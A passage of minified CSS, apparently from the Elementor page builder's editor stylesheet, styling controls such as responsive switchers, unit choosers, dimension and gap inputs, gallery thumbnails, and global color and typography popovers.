var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-alert { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 8px; } .elementor-control-alert-heading { font-weight: bold; } .elementor-control-type-button .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-button .elementor-button { width: auto; } .elementor-control-type-button .elementor-button.elementor-button-center { display: block; margin: 0 auto; } .elementor-control-type-choose.elementor-label-block .elementor-choices { width: 100%; } .elementor-choices { display: flex; height: 27px; line-height: 27px; text-align: center; border-spacing: 1px; border-radius: var(--e-a-border-radius); overflow: hidden; } .elementor-choices .elementor-choices-label { border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-start: var(--e-a-border-bold); border-inline-end: none; font-size: 12px; transition: var(--e-a-transition-hover); cursor: pointer; overflow: hidden; } .elementor-choices .elementor-choices-label:nth-child(2) { border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-choices .elementor-choices-label:last-child { border-inline-end: var(--e-a-border-bold); border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-choices input { display: none; } .elementor-choices input:hover + .elementor-choices-label { background-color: var(--e-a-bg-hover); } .elementor-choices input.e-choose-placeholder + .elementor-choices-label, .elementor-choices input:checked + .elementor-choices-label { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .elementor-label-inline .elementor-choices { justify-content: flex-end; } .elementor-control-type-color.e-control-global .pickr { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; border-color: var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-color.e-control-global .pickr:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-color.e-control-global .e-global__popover-toggle:not(.e-global__popover-toggle--active) ~ .pickr { background-color: var(--e-a-bg-active-bold); } .elementor-control-type-color .elementor-control-title { flex-grow: 1; } .elementor-control-type-color .elementor-control-input-wrapper { display: flex; justify-content: flex-end; } .elementor-group-control-css-filter .elementor-slider { height: 6px; box-shadow: 0 0 1px 1px inset rgba(0, 0, 0, 0.2); } .elementor-group-control-css-filter .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; margin-block-end: 5px; } .elementor-group-control-blur .elementor-slider { background: url("../images/blur.png"); background-size: cover; background-position: center; } .elementor-group-control-contrast .elementor-slider { background: url("../images/contrast.png"); background-size: 100% 100%; } .elementor-group-control-hue .elementor-slider { background-image: linear-gradient(to right, red, orange, yellow, greenyellow, limegreen, deepskyblue, blue, darkviolet 95%); } .elementor-group-control-saturate .elementor-slider { background-image: linear-gradient(to right, gray, red); } .elementor-group-control-brightness .elementor-slider { background-image: linear-gradient(to right, black, white); } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-dimensions .elementor-control-dimensions { display: flex; } .elementor-control-type-dimensions li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-dimensions li input, .elementor-control-type-dimensions li .elementor-link-dimensions { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-dimensions li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-dimensions li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-dimensions li input:focus + .elementor-control-dimension-label { color: var(--e-a-color-txt); } .elementor-control-type-dimensions li .elementor-link-dimensions { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-dimensions li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-dimensions li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-dimensions li:last-child { max-width: 27px; } .elementor-control-type-dimensions.e-units-custom li.elementor-control-dimension:focus-within { flex: 2.5; } .elementor-control-type-dimensions .elementor-control-dimension-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-dimensions .elementor-link-dimensions.unlinked .elementor-linked { display: none; } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-dimensions .elementor-link-dimensions:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-responsive-switchers { --selected-option: 0; --pointer-position: var(--selected-option); position: relative; width: 2.5em; height: 2.5em; margin: calc(-2.5em + 12px) 0; margin-inline-end: 5px; } .elementor-control-responsive-switchers__holder { position: absolute; width: 100%; top: 0; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); transition: 0.15s; border: 1px solid transparent; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open { z-index: 11000; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-control-responsive-switchers.elementor-responsive-switchers-open .elementor-control-responsive-switchers__holder { box-shadow: var(--e-a-dropdown-shadow); } .elementor-responsive-switcher { all: unset; display: flex; align-items: center; justify-content: center; position: relative; z-index: 2; cursor: pointer; height: 0; width: 100%; transform: scale(0); opacity: 0; transition: 0.15s; font-size: 12px; color: inherit; } .elementor-responsive-switcher:hover { color: var(--e-a-color-primary-bold); } .elementor-device-widescreen .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-widescreen .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-widescreen { color: var(--e-a-color-primary-bold); } .elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop { color: var(--e-a-color-primary-bold); } .elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop { color: var(--e-a-color-primary-bold); } .elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra { color: var(--e-a-color-primary-bold); } .elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet { color: var(--e-a-color-primary-bold); } .elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra { color: var(--e-a-color-primary-bold); } .elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile { height: 2.5em; transform: scale(1); opacity: 1; } .elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile { color: var(--e-a-color-primary-bold); } .e-units-wrapper { position: relative; margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-gaps .elementor-control-gaps { display: flex; } .elementor-control-type-gaps li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-gaps li input, .elementor-control-type-gaps li .elementor-link-gaps { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-gaps li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-gaps li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-gaps li input:focus + .elementor-control-gap-label { color: var(--e-a-color-txt); } .elementor-control-type-gaps li .elementor-link-gaps { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-gaps li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-gaps li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-gaps li:last-child { max-width: 27px; } .elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within { flex: 2.5; } .elementor-control-type-gaps .elementor-control-gap-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-gaps .elementor-link-gaps.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked { display: none; } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-type-icons .elementor-control-media__preview > * { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-control-type-icons .elementor-control-media__preview i { font-size: 70px; } .elementor-control-type-icons .elementor-control-media__preview svg { height: 75%; } .elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload { font-size: 15px; } .elementor-control-type-gallery .elementor-control-media__content { border: var(--e-a-border-bold); border-radius: 3px; } .elementor-control-type-gallery .elementor-control-gallery-status { font-size: 12px; height: 27px; padding-inline-start: 10px; border-block-end: var(--e-a-border-bold); display: flex; } .elementor-control-type-gallery .elementor-control-gallery-status > * { display: flex; align-items: center; } .elementor-control-type-gallery .elementor-control-gallery-status-title { flex-grow: 1; } .elementor-control-type-gallery .elementor-control-gallery-content { position: relative; overflow: hidden; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails { display: grid; grid-template-columns: repeat(auto-fill, minmax(48px, 1fr)); grid-gap: 10px; cursor: pointer; padding: 10px; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover + .elementor-control-gallery-edit, .elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus + .elementor-control-gallery-edit { opacity: 1; } .elementor-control-type-gallery .elementor-control-gallery-thumbnail { width: 48px; height: 48px; -o-object-fit: cover; object-fit: cover; border: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-thumbnail + .unoptimized__image { outline: 2px solid var(--e-a-btn-bg-danger-active); opacity: 0.6; } .elementor-control-type-gallery .elementor-control-gallery-edit { position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); padding: 10px; font-size: 11px; transition: all 0.3s ease-in-out; pointer-events: none; cursor: pointer; opacity: 0; } .elementor-control-type-gallery .elementor-control-gallery-edit span { position: absolute; top: 10px; right: 10px; width: 21px; height: 21px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-type-gallery .elementor-control-gallery-edit span i { font-size: 11px; padding: 5px; } .elementor-control-type-gallery .elementor-control-gallery-edit span:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-type-gallery .elementor-control-gallery-add { width: 48px; height: 48px; font-size: 14px; } .elementor-control-type-gallery .elementor-control-gallery-add i { margin: 0; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit { display: none; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content { padding: 10px; } .elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add { display: none; } .elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear { border-inline-start: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-clear { color: currentColor; background-color: transparent; border: none; cursor: pointer; justify-content: center; } .elementor-control-type-gallery .elementor-control-gallery-clear:hover, .elementor-control-type-gallery .elementor-control-gallery-clear:focus { color: var(--e-a-color-danger); } .elementor-control-type-gallery .elementor-control-dynamic-switcher { border-width: 0; border-inline-start-width: 1px; border-block-end-width: 1px; border-radius: 0; } .e-global__popover { width: 288px; z-index: 1; font-size: 12px; padding-inline-start: 10px; } .e-global__popover-toggle { border: var(--e-a-border-bold); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: var(--e-a-transition-hover); } .e-global__popover-toggle:hover { background-color: var(--e-a-bg-hover); } .e-global__popover-toggle--active { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-active-bold); } .e-global__popover-container { box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); } .e-global__popover-title { padding: 15px 20px; font-weight: 500; border-block-end: var(--e-a-border); display: flex; } .e-global__popover-title > i { margin-inline-end: 5px; } .e-global__popover-title-text { flex-grow: 1; } .e-global__popover-info { margin-inline-end: 10px; display: inline-block; } .e-global__popover-info-tooltip { width: 270px; z-index: 1; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); padding: 20px; border-radius: 3px; } .e-global__popover-info-tooltip:after { content: ""; position: absolute; bottom: -17px; left: 16px; border: 10px solid transparent; border-block-start-color: rgba(0, 0, 0, 0.9); } .e-global__popover-info i { font-size: 13px; } .e-global__preview-items-container { max-height: 400px; overflow-y: auto; padding: 5px 0; } .e-global__preview-items-container::-webkit-scrollbar { width: 7px; } .e-global__preview-items-container::-webkit-scrollbar-thumb { background-color: #BABFC5; border-radius: 10px; } .e-global__manage-button { font-weight: 500; cursor: pointer; } .e-global__typography { padding-block: 10px; padding-inline: 35px 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .e-global__typography.e-global__preview-item--selected:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; position: absolute; transform: translateY(-50%); top: 50%; inset-inline-start: 13px; } .e-global__color { padding: 10px 20px; display: flex; align-items: center; } .e-global__color-preview-container { height: 20px; width: 20px; border-radius: 3px; border: 1px solid rgba(0, 0, 0, 0.1); margin-inline-end: 10px; flex-shrink: 0; position: relative; } .e-global__color-preview-color, .e-global__color-preview-transparent-bg { border-radius: 3px; height: 100%; width: 100%; position: absolute; top: 0; left: 0; } .e-global__color-preview-transparent-bg { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 12px 12px; background-position: 0 0, calc(12px / 2) calc(12px / 2); } .e-global__color-title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 10px; } .e-global__color-hex { font-size: 10px; color: var(--e-a-color-txt-muted); } .e-global__color .pcr-button { background-color: var(--e-a-bg-default); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container { display: flex; justify-content: center; align-items: center; color: var(--e-a-color-white); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; text-shadow: 0 0 1px #000; z-index: 1; } .e-global__preview-item { cursor: pointer; position: relative; } .e-global__preview-item:hover { background-color: var(--e-a-bg-hover); } .e-global__confirm-delete i, .e-global__confirm-message-text i { color: var(--e-a-color-warning); } .e-global__confirm-input-wrapper { display: flex; align-items: center; border: var(--e-a-border); border-radius: var(--e-a-border-radius); margin: 15px 0; padding: 2px; } .e-global__confirm-input-wrapper input { font-family: var(--e-a-font-family); font-size: 12px; padding: 2px; border: 0; } .e-control-global .elementor-control-input-wrapper { display: flex; justify-content: flex-end; max-width: 135px; width: 100%; } .e-control-global.elementor-control .elementor-control-input-wrapper { display: flex; flex-direction: row; align-items: stretch; } .e-control-global .elementor-control-spinner { margin-inline-end: 4px; } .elementor-control-type-hidden { display: none !important; } .elementor-control-type-icon .select2-selection__rendered .eicon { margin-inline-end: 3px; } .elementor-control-type-image_dimensions .elementor-control-field-description { margin: 0 0 15px; line-height: 1.4; } .elementor-control-type-image_dimensions .elementor-control-input-wrapper { display: flex; align-items: flex-start; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field { width: 65px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus + .elementor-image-dimensions-field-description { color: var(--e-a-color-txt); } .elementor-control-type-image_dimensions .elementor-image-dimensions-separator { width: 20px; text-align: center; padding-block-start: 4px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field-description { display: block; margin-block-start: 5px; color: var(--e-a-color-txt-disabled); font-size: 10px; text-align: center; } .elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button { margin-inline-start: auto; } .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove, .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove { display: none; } .elementor-control-media.e-media-empty-placeholder .e-control-image-size { display: none; } .elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button { display: none; } .elementor-control-media .eicon-plus-circle { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: var(--e-a-color-white); font-size: 20px; } .elementor-control-media__content__upload-button { background-color: var(--e-a-bg-active-bold); } .elementor-control-media__preview { height: 100%; background-size: cover; background-position: center; padding-block-end: 42.8571%; } .elementor-control-media-area { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 16px 16px; background-position: 0 0, calc(16px / 2) calc(16px / 2); background-color: var(--e-a-bg-default); border: var(--e-a-border-bold); aspect-ratio: 21/9; } .elementor-control-media-area:not(:hover) .elementor-control-media__remove { display: none; } .elementor-control-media-area .eicon-video-camera { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: rgba(255, 255, 255, 0.7); font-size: 21px; } .elementor-control-media .elementor-control-media__content { aspect-ratio: 21/9; position: relative; cursor: pointer; overflow: hidden; } .elementor-control-media .elementor-control-media__content:hover:after { content: ""; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); pointer-events: none; } .elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools { bottom: -30px; } .elementor-control-media__content { transition: all 0.2s ease-in-out; } .elementor-control-media__tools { position: absolute; bottom: 0; left: 0; right: 0; height: 27px; transition: all 0.2s ease-in-out; } .elementor-control-media__tools > *:not(:first-child) { margin-inline-start: 1px; } .elementor-control-media__tool { display: flex; align-items: center; justify-content: center; flex-grow: 1; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.9); font-size: 11px; transition: var(--e-a-transition-hover); } .elementor-control-media__tool:hover { background-color: rgba(0, 0, 0, 0.8); } .elementor-control-media__remove { display: flex; align-items: center; justify-content: center; transition: all 0.3s ease-in-out; } .elementor-control-media__content__remove { position: absolute; z-index: 1; top: 10px; right: 10px; width: 20px; height: 20px; font-size: 11px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); border-radius: var(--e-border-radius); box-shadow: 0 0 7px 0 